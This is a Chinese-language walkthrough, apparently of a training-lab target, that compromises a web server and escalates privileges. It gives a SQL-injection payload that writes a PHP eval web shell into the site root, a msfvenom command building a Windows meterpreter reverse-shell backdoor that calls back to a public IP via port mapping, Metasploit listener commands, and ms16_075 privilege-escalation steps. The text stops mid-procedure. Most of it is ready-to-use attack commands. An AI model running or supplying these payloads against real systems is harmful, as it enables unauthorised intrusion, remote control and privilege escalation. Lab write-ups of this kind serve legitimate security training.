内网渗透拿域控
环境:http://afsgr16-b1ferw.aqlab.cn/?id=1
【查看资料】
1、进去一看,典型的sql注入
2、测试了一下,可以爆库,也可以写一句话,并且还爆了绝对路径,直接拿shell,进入主题
①将shell.php写入网站根目录,payload
http://afsgr16-b1ferw.aqlab.cn/?id=1.1 union select 1,"<?php eval($_REQUEST[gylq]);?>" into outfile 'C:/phpstudy/www/shell.php'
②蚁剑连接,发现权限很低
kali机的提权和后渗透方法
提权我们可以传个木马用msf试试,获取按照系统补丁来搜payload提权等等,这里就用最快的方式,msf(注意:,下面讲关于kali中msf怎么内网穿透,方法太多了)
kali内网穿透用花生壳
拿到webshell之后,由于这个webshell是在公网的,无法访问我们内网的kali,所以我们得将kali中的某个端口映射到公网
下载花生壳
1、可以看到kali的内网ip为192.168.0.108
2、接着设置一下花生壳的配置
3、可以看到我们映射到公网的ip和端口
4、接着使用msf制作访问我们公网ip和端口的后门
msfvenom -p windows/meterpreter/reverse_tcp LHOST=103.46.128.46 LPORT=26240 -f exe > payload.exe
5、打开msf的监听
handler -x -H 192.168.0.108 -P 6666 -p windows/meterpreter/reverse_tcp
或者使用
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.108
set lport 6666
run
6、执行webshell中的木马
sessions 1 //进入会话
7、发现无法不是最高权限,getsystem/getprivs并未成功
8、一般使用最多的是ms16_075的方式提权了,这个成功率高,试试
但是由于我们是内网,所以就必须准备两个msf窗口才能使用msf的提取功能
①msf窗口1执行监听命令
②msf窗口2权限低的那个会话执行提权命令
run exploit/windows/local